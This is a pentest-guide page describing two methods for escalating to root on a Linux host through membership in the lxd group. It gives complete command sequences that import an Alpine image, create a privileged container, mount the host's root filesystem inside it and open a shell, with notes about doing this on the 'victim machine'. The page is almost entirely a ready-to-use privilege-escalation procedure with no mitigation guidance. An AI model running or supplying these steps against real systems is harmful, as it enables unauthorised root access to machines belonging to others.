lxd/lxc Group - Privilege escalation
Membership in the host’s LXD management group (normally lxd) can provide a path to root by allowing full control of the daemon.[1]
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Method 1
You can download an Alpine image to use with LXD from a trusted repository. Canonical’s LXD image server publishes daily builds: https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/ Just grab both lxd.tar.xz and rootfs.squashfs from the newest build (the directory name is the date).[8]
Alternatively, you can install distrobuilder on your machine by following the project instructions.[4][5][6]
# Install requirements
sudo apt update
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
# Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder
# Make distrobuilder
cd ./distrobuilder
make
# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# Create the container - Beware of architecture while compiling locally.
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64Upload incus.tar.xz (lxd.tar.xz if you downloaded from the Canonical image server) and rootfs.squashfs, then import the image and create a container.[2][3][5][8][9]
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
# Check the image is there
lxc image list
# Create the container
lxc init alpine privesc -c security.privileged=true
# List containers
lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true[!CAUTION] If you find this error Error: No storage pool found. Please create a new storage pool
Runlxd init, set up a default storage pool, then repeat the previous chunk of commands.[2]
Finally, start the container and open a root shell on the host filesystem:[1][2]
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mountedMethod 2
Build an Alpine image and start it with the flag security.privileged=true, which maps container root to host root; mounting / then exposes the host filesystem inside the container.[1][7][9]
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true